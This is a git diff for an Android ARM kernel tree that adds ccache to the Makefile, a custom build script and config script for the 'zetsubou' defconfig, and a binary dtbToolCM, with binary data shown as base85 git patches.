zTE-l3#GIm~Q)6N(o8Cs<-$d+mLJy3n6KW!CsJqY`R_Pmnq8I?lcOI z*{%FZiuT-&JQ7^M4)ou~h^B@a)YQERdsiCPv4j_IEd0cXW-8|5BDo?96zMXsa1hQ7MT(};ak*=yiqdX)a&T8>wDOVmeAq+fPd%@h<{1t)Nv zQq?#G962pLFh($2G|%=fiG6wPhyf4KrB(GUMDg-_zL%rv@SAbO-I?F;|IkwT6*;I-59IDxWZNh zR$!d_;APVKlkz2lk6EG|h^cv@nZ$1qJ%bKj4p&80Q~i*P*{t#Zj#*--Cu5b2PvAeh zv|T;O+{VD}sL7rgiV+=MwOs*6T*x8R3c-X5M@6}AYM&~k&Q}*0ZAR&qF|r>Xj-T=I z+OElLQAuYMsiW`R^e60!XRB_%r_SN$?^Gcu}G{9-yjoOAuwgeLUjS*4xqPEX(`}}Gi^b1 z5h75SKmmQN$t2hW57;$%S(7R|gAbI`d4LInLsC6Gbzq8nw zPkSz4{Qh$obDfNxowU`YE{Ww+s~#2a&t(RZRx>9i#E7Y# zM#TB0cJg+rhe~JmDMc-gUyU^a=W2BDVkCTjbb7T>x_vCZX0u7nu^NRwsp6JS8Z$o? zFh~TS2>)EMChtqc(A|Xb)jCTNcrJSE zq6Mo;u+@55jNXZG4OW)3hv%5GlLj4$hY@uo4PIvEsXXKxa&ZSdSnaF8FanM=#F>D9 zLVA0GMolvF5M#8E>G|gʖN@NnpnP0Bjr3;3x|MkbU~eewwUB$0iehbP~K*!^>` zNe7GTiW_FYe^p$^d5eJ!I@65YUOh&E>u+-w!#kuaezj}RQF%<^&*pVSi19pp!0oo1 z$}+Idf6=Wi%gA0B+}%ZHQ81x1j3$xORG4(rI2I9``5~KV$J-(@*sCOQtKq}&kXVKn zn>gRXB+Mv>!M!4-UuKF`@NjdI?Xm)19B2|=!h{tK*PxyBL8h1yVVNpWdckyE%61<; z1k43AB>b2Aj;i{$CN!+@pL6EbDZP29!}G}I-sUXDNAw;Izd_fa2>ene6wvohCi6#1}Xd4 z{VLy&;lhcTwedAGtIs2vlFJ)DDxL13cq>@?TV>-u32z$m^X

    >TYS<<8-}8SK|q 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 L;$D;rP{#cWS$SIO literal 0 HcmV?d00001 diff --git a/Makefile b/Makefile index 4994d640e1973..3da32584dfb6a 100644 --- a/Makefile +++ b/Makefile @@ -158,6 +158,7 @@ VPATH := $(srctree)$(if $(KBUILD_EXTMOD),:$(KBUILD_EXTMOD)) export srctree objtree VPATH +CCACHE := ccache # SUBARCH tells the usermode build what the underlying arch is. That is set # first, and if a usermode build is happening, the "ARCH=um" on the command @@ -193,7 +194,7 @@ SUBARCH := $(shell uname -m | sed -e s/i.86/x86/ -e s/x86_64/x86/ \ # Default value for CROSS_COMPILE is not to prefix executables # Note: Some architectures assign CROSS_COMPILE in their arch/*/Makefile ARCH ?= $(SUBARCH) -CROSS_COMPILE ?= $(CONFIG_CROSS_COMPILE:"%"=%) +CROSS_COMPILE ?= $(CCACHE) $(CONFIG_CROSS_COMPILE:"%"=%) # Architecture as present in compile.h UTS_MACHINE := $(ARCH) @@ -239,8 +240,8 @@ CONFIG_SHELL := $(shell if [ -x "$$BASH" ]; then echo $$BASH; \ else if [ -x /bin/bash ]; then echo /bin/bash; \ else echo sh; fi ; fi) -HOSTCC = gcc -HOSTCXX = g++ +HOSTCC = $(CCACHE) gcc +HOSTCXX = $(CCACHE) g++ HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer HOSTCXXFLAGS = -O2 @@ -325,7 +326,7 @@ include $(srctree)/scripts/Kbuild.include # Make variables (CC, etc...) AS = $(CROSS_COMPILE)as -LD = $(CROSS_COMPILE)ld +LD = $(CCACHE) $(CROSS_COMPILE)ld REAL_CC = $(CROSS_COMPILE)gcc CPP = $(CC) -E AR = $(CROSS_COMPILE)ar diff --git a/build.sh b/build.sh new file mode 100755 index 0000000000000..031b0c5541a45 --- /dev/null +++ b/build.sh @@ -0,0 +1,49 @@ + # + # Copyright © 2016, Varun Chitre "varun.chitre15" + # Copyright © 2016, Ashish Malik "AshishM94" + # + # Custom build script + # + # This software is licensed under the terms of the GNU General Public + # License version 2, as published by the Free Software Foundation, and + # may be copied, distributed, and modified under those terms. + # + # This program is distributed in the hope that it will be useful, + # but WITHOUT ANY WARRANTY; without even the implied warranty of + # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + # GNU General Public License for more details. + # + # Please maintain this if you use this script or any part of it + # +KERNEL_DIR=$PWD +ZIP_DIR=$KERNEL_DIR/AnyKernel2 +KERN_IMG=$KERNEL_DIR/arch/arm/boot/zImage +DT_IMG=$KERNEL_DIR/arch/arm/boot/dt.img +DTBTOOL=$KERNEL_DIR/tools/dtbToolCM +BUILD_START=$(date +"%s") +blue='\033[0;34m' +cyan='\033[0;36m' +yellow='\033[0;33m' +red='\033[0;31m' +nocol='\033[0m' +# Modify the following variable if you want to build +export CROSS_COMPILE="/home/saiko94/kernel/arm-eabi-4.9/bin/arm-eabi-" +export ARCH=arm +export SUBARCH=arm +export KBUILD_BUILD_USER="ashish.m" +export KBUILD_BUILD_HOST="DespairInc." +make zetsubou_defconfig +make -j5 + +$DTBTOOL -2 -o $KERNEL_DIR/arch/arm/boot/dt.img -s 2048 -p $KERNEL_DIR/scripts/dtc/ $KERNEL_DIR/arch/arm/boot/dts/ +echo -e "$blue***********************************************" +echo " creating flashable zip " +echo -e "***********************************************$nocol" +cd $ZIP_DIR +make clean +cp $DT_IMG $ZIP_DIR/dtb +cp $KERN_IMG $ZIP_DIR +make +BUILD_END=$(date +"%s") +DIFF=$(($BUILD_END - $BUILD_START)) +echo -e "$yellow Build completed in $(($DIFF / 60)) minute(s) and $(($DIFF % 60)) seconds.$nocol" diff --git a/config.sh b/config.sh new file mode 100644 index 0000000000000..65eed1d69e971 --- /dev/null +++ b/config.sh @@ -0,0 +1,4 @@ +export ARCH=arm +export SUBARCH=arm +make zetsubou_defconfig +cp .config arch/arm/configs/zetsubou_defconfig diff --git a/tools/dtbToolCM b/tools/dtbToolCM new file mode 100755 index 0000000000000000000000000000000000000000..abf16f0ce5fafb2cefceb3f7103ccfe6ab2e101b GIT binary patch literal 32068 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 